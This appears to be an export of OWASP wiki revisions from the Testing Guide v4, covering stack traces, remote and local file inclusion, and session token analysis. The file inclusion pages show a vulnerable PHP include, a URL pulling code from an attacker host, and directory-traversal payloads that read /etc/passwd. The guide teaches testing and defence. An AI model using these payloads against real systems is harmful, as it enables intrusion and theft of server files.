[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Traces_(OTG-ERR-002)&amp;diff=169591</id>
		<title>Testing for Stack Traces (OTG-ERR-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Traces_(OTG-ERR-002)&amp;diff=169591"/>
				<updated>2014-03-06T16:51:53Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
If the application responds with stack traces that are not managed it could reveals potentially useful information for an attacker. This information could then be used, by the attacker, to bring successive attacks. &lt;br /&gt;
Provide debugging information as a result of operations that generate errors is considered a bad practice due to the fact that relative paths to the point where the application is installed or how objects are referenced internally are shown to the user which can draw benefit for a successive attack.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too.&lt;br /&gt;
&lt;br /&gt;
Some tools, such as [[OWASP_Zed_Attack_Proxy_Project|OWASP ZAP]] and Burp proxy will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;amp;lt;% e.printStackTrace( new PrintWriter( out ) ) %&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements.&lt;br /&gt;
&lt;br /&gt;
Search the configuration to verify error handling configuration and the use of default error pages.  For example, in Java this configuration can be found in web.xml.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=169590</id>
		<title>Testing for Remote File Inclusion</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=169590"/>
				<updated>2014-03-06T16:48:41Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
File Inclusion vulnerability allows an attacker to include a file, usually exploiting a &amp;quot;dynamic file inclusion&amp;quot; mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. &lt;br /&gt;
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:&lt;br /&gt;
&lt;br /&gt;
*Code execution on the web server&lt;br /&gt;
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)&lt;br /&gt;
*Denial of Service (DoS)&lt;br /&gt;
*Sensitive Information Disclosure&lt;br /&gt;
&lt;br /&gt;
The File inclusion vulnerability could be of two types:&lt;br /&gt;
* Local&lt;br /&gt;
* Remote&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Since RFI occurs when paths passed to &amp;quot;include&amp;quot; statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$incfile = $_REQUEST[&amp;quot;file&amp;quot;];&lt;br /&gt;
include($incfile.&amp;quot;.php&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the remote file is going to be included and any code contained in it is going to be run by the server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. &lt;br /&gt;
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion&lt;br /&gt;
* Wikipedia: &amp;quot;Remote File Inclusion&amp;quot; - http://en.wikipedia.org/wiki/Remote_File_Inclusion&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=169589</id>
		<title>Testing for Remote File Inclusion</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Remote_File_Inclusion&amp;diff=169589"/>
				<updated>2014-03-06T16:47:54Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
File Inclusion vulnerability allows an attacker to include a file, usually exploiting a &amp;quot;dynamic file inclusion&amp;quot; mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. &lt;br /&gt;
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:&lt;br /&gt;
&lt;br /&gt;
*Code execution on the web server&lt;br /&gt;
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)&lt;br /&gt;
*Denial of Service (DoS)&lt;br /&gt;
*Sensitive Information Disclosure&lt;br /&gt;
&lt;br /&gt;
The File inclusion vulnerability could be of two types:&lt;br /&gt;
* Local&lt;br /&gt;
* Remote&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Since RFI occurs when paths passed to &amp;quot;include&amp;quot; statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$incfile = $_REQUEST[&amp;quot;file&amp;quot;];&lt;br /&gt;
include($incfile.&amp;quot;.php&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the remote file is going to be included and any code contained in it is going to be run by the server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. &lt;br /&gt;
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion&lt;br /&gt;
* Wikipedia: &amp;quot;Remote File Inclusion&amp;quot; - http://en.wikipedia.org/wiki/Remote_File_Inclusion&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Local_File_Inclusion&amp;diff=169588</id>
		<title>Testing for Local File Inclusion</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Local_File_Inclusion&amp;diff=169588"/>
				<updated>2014-03-06T16:45:19Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Mitigation added and minor updates&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
File Inclusion vulnerability allows an attacker to include a file, usually exploiting a &amp;quot;dynamic file inclusion&amp;quot; mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. &lt;br /&gt;
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:&lt;br /&gt;
&lt;br /&gt;
*Code execution on the web server&lt;br /&gt;
*Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)&lt;br /&gt;
*Denial of Service (DoS)&lt;br /&gt;
*Sensitive Information Disclosure&lt;br /&gt;
&lt;br /&gt;
The File inclusion vulnerability could be of two types:&lt;br /&gt;
* Local&lt;br /&gt;
* Remote&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
 &lt;br /&gt;
Since LFI occurs when paths passed to &amp;quot;include&amp;quot; statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.&lt;br /&gt;
Typical proof-of-concept would be to load passwd file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the above mentioned conditions are met, an attacker would see something like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
alex:x:500:500:alex:/home/alex:/bin/bash&lt;br /&gt;
margo:x:501:501::/home/margo:/bin/bash&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php “include/”.include($_GET['filename'].“.php”); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the case, simple substitution with arbitrary filename would not work as the postfix 'php' is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. &lt;br /&gt;
If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion&lt;br /&gt;
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
--[[User:Alexander Antukh|Alexander Antukh]] ([[User talk:Alexander Antukh|talk]]) 07:17, 28 September 2013 (CDT)&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&amp;diff=169587</id>
		<title>Testing for Session Management Schema (OTG-SESS-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_Management_Schema_(OTG-SESS-001)&amp;diff=169587"/>
				<updated>2014-03-06T16:37:43Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In order to avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan.&amp;lt;br&amp;gt;&lt;br /&gt;
These mechanisms are known as Session Management and, while they're most important in order to increase the ease of use and user-friendliness of the application, they can be exploited by a penetration tester to gain access to a user account, without the need to provide correct credentials. In this test, we want to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of Session Management Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[:Category:Session Management Vulnerability|Session Management Vulnerabilities]].&lt;br /&gt;
&lt;br /&gt;
===Description of Session Management Countermeasures===&lt;br /&gt;
&lt;br /&gt;
See the OWASP articles on [[:Category:Session Management|Session Management Countermeasures]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Session Management Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Session Management|Avoid Session Management]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Session Management| Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Codereview-Session-Management|Review Code for Session Management]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
&lt;br /&gt;
Cookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or more than one) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed.  The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are,  etc. therefore providing a state to a stateless protocol like HTTP.&lt;br /&gt;
&lt;br /&gt;
A typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).&lt;br /&gt;
&lt;br /&gt;
Due to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way. In this test we have to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, ...). Usually the main steps of the attack pattern are the following:&lt;br /&gt;
* '''cookie collection''': collection of a sufficient number of cookie samples;&lt;br /&gt;
* '''cookie reverse engineering''': analysis of the cookie generation algorithm;&lt;br /&gt;
* '''cookie manipulation''': forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).&lt;br /&gt;
&lt;br /&gt;
Another pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here we are not trying to recreate a perfectly valid cookie. Instead, our goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
All interaction between the client and application should be tested at least against the following criteria:&lt;br /&gt;
* Are all Set-Cookie directives tagged as Secure?	&lt;br /&gt;
* Do any Cookie operations take place over unencrypted transport?	&lt;br /&gt;
* Can the Cookie be forced over unencrypted transport?  	&lt;br /&gt;
* If so, how does the application maintain security?	&lt;br /&gt;
* Are any Cookies persistent?	&lt;br /&gt;
* What Expires= times are used on persistent cookies, and are they reasonable?	&lt;br /&gt;
* Are cookies that are expected to be transient configured as such?	&lt;br /&gt;
* What HTTP/1.1 Cache-Control settings are used to protect Cookies?	&lt;br /&gt;
* What HTTP/1.0 Cache-Control settings are used to protect Cookies?&lt;br /&gt;
&lt;br /&gt;
===Cookie collection===&lt;br /&gt;
&lt;br /&gt;
The first step required in order to manipulate the cookie is obviously to understand how the application creates and manages cookies. For this task, we have to try to answer the following questions:&lt;br /&gt;
&lt;br /&gt;
* How many cookies are used by the application?&lt;br /&gt;
Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.&lt;br /&gt;
* Which parts of the the application generate and/or modify the cookie?&lt;br /&gt;
Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?&lt;br /&gt;
* Which parts of the application require this cookie in order to be accessed and utilized?&lt;br /&gt;
Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.&lt;br /&gt;
&lt;br /&gt;
A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.&lt;br /&gt;
&lt;br /&gt;
===Session Analysis===&lt;br /&gt;
&lt;br /&gt;
The session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective.  They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.&amp;lt;br&amp;gt;&lt;br /&gt;
* Token Structure &amp;amp; Information Leakage&lt;br /&gt;
The first stage is to examine the structure and content of a Session ID provided by the application.  A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.&lt;br /&gt;
If the Session ID is clear-text, the structure and pertinent data may be immediately obvious as the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
192.168.100.1:owaspuser:password:15:58&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation.&lt;br /&gt;
For example the string “192.168.100.1:owaspuser:password:15:58” is represented in Hex, Base64 and as an MD5 hash:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hex	3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538&lt;br /&gt;
Base64	MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=&lt;br /&gt;
MD5	01c2fc4f0a817afd8366689bd29dd40a&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Having identified the type of obfuscation, it may be possible to decode back to the original data.  In most cases, however, this is unlikely.  Even so, it may be useful to enumerate the encoding in place from the format of the message.  Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.&lt;br /&gt;
Hybrid tokens may include information such as IP address or User ID together with an encoded portion, as the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Having analyzed a single session token, the representative sample should be examined.&lt;br /&gt;
A simple analysis of the tokens should immediately reveal any obvious patterns.  For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data.  This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address.&lt;br /&gt;
If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation.  See examples.&lt;br /&gt;
If static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time.  For example, login attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.&lt;br /&gt;
The following areas should be addressed during the single and multiple Session ID structure testing:&lt;br /&gt;
* What parts of the Session ID are static?	&lt;br /&gt;
* What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses	&lt;br /&gt;
* What easily decoded confidential information is stored?	&lt;br /&gt;
* What information can be deduced from the structure of the Session ID?	&lt;br /&gt;
* What portions of the Session ID are static for the same login conditions?	&lt;br /&gt;
* What obvious patterns are present in the Session ID as a whole, or individual portions?&lt;br /&gt;
&lt;br /&gt;
===Session ID Predictability and Randomness===&lt;br /&gt;
&lt;br /&gt;
Analysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns.&lt;br /&gt;
These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools in order to deduce any patterns in the Session ID content.&lt;br /&gt;
Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.  Time is an important factor which must also be controlled.  High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant.  Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.&lt;br /&gt;
Variable elements should be analyzed over time to determine whether they are incremental in nature.  Where they are incremental, patterns relating to absolute or elapsed time should be investigated.  Many systems use time as a seed for their pseudo-random elements.&lt;br /&gt;
Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility.  Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.&lt;br /&gt;
In analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.&lt;br /&gt;
* Are the Session IDs provably random in nature?  I.e., can the resulting values be reproduced?  &lt;br /&gt;
* Do the same input conditions produce the same ID on a subsequent run?	&lt;br /&gt;
* Are the Session IDs provably resistant to statistical or cryptanalysis?	&lt;br /&gt;
* What elements of the Session IDs are time-linked?	&lt;br /&gt;
* What portions of the Session IDs are predictable?  	&lt;br /&gt;
* Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?&lt;br /&gt;
&lt;br /&gt;
===Cookie reverse engineering===&lt;br /&gt;
&lt;br /&gt;
Now that we have enumerated the cookies and have a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies are we interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks. These characteristics are summarized below:&lt;br /&gt;
#Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user's session. If an attacker can guess the cookie used in an active session of a legitimate user, he/she will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values and/or cryptography can be used.&lt;br /&gt;
#Tamper resistance: a cookie must resist malicious attempts of modification. If we receive a cookie like  IsAdmin=No, it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)&lt;br /&gt;
#Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from disk/memory afterwards, in order to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel)&lt;br /&gt;
#“Secure” flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.&lt;br /&gt;
&lt;br /&gt;
